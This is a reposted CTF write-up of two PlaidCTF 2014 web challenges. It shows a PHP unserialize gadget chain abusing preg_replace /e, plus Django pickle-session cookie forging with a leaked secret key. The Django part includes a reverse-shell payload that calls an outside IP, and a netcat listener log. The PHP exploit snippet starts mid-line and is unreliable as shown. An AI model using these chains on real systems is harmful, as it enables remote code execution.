Skocz do zawartości

PlaidCTF 2014 - kpop and reeekeee


Recommended Posts

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
}
...
function log($txt) {
$this->logwriter->writeLog($txt);
}
...
function __destruct() {
$this->song->log();
}

-- _destruct --
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
}
};
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
matchPattern=$a;$this->replacement=$b;}
}
class LogFileFormat {
public $filters,$endl;
function __construct($a){$this->filters=$a;$this->endl='';}
}
class LogWriter_File {
protected $filename,$format;
function __construct($b){$this->filename='';$this->format=$b;}
}
class Logger {
protected $logwriter;
function __construct($a){$this->logwriter=$a;}
}
class Song {
protected $logger,$name,$group,$url;
function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
}
class Lyrics {
protected $lyrics,$song;
function __construct($a){$this->lyrics='';$this->song=$a;}
}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 
 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
url = request.POST['url']
text = request.POST['text']
try:
if "http://" in url:
image = urllib2.urlopen(url)
else:
image = urllib2.urlopen("http://"+url)
except:
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
-- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
def base64(s): #taken from django
import base64
return base64.urlsafe_b64encode(s).strip(b'=')

def salted_hmac(salt, value, secret): #taken from django
key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

import time
import baseconv #taken from django

timestamp = baseconv.base62.encode(str(int(time.time())))
data = base64(payload)+":"+timestamp
mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
t.update({'sessionid':s})
return requests.get(add, cookies=t)

IP = '91.228.198.97'
PORT = 41412
url ='http://54.82.251.203:8000'
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe mymeme use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

Wyświetl pełny artykuł

Link do komentarza
Udostępnij na innych stronach

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Gość
Odpowiedz...

×   Wkleiłeś zawartość bez formatowania.   Usuń formatowanie

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Utwórz nowe...